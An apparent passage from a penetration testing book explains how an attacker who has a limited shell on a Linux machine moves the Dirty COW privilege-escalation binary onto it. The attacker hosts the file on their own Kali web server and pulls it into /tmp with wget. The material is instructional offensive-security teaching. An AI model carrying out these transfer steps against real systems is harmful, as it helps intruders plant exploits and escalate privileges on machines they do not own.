Practical Web Penetration Testing

File transfers

Let's look at a practical scenario. Say you just got a limited shell into the victim's machine. You know that the OS is Linux and you want to upload Dirty COW to the remote server to execute it. Here are the steps for this method:

1. Copy the Dirty COW binary into the target HTTP directory located at /var/www/html.
2. Start the web server using $service apache2 start.
3. Download the file to the victim's machine through the limited shell using the following commands (I will download the file into the /tmp directory):
   • cd /tmp
   • $wget [http://Kali IP Address/filename]

But what if I want to transfer a file to a Windows machine? For this, I need to use PowerShell, as shown in the following section.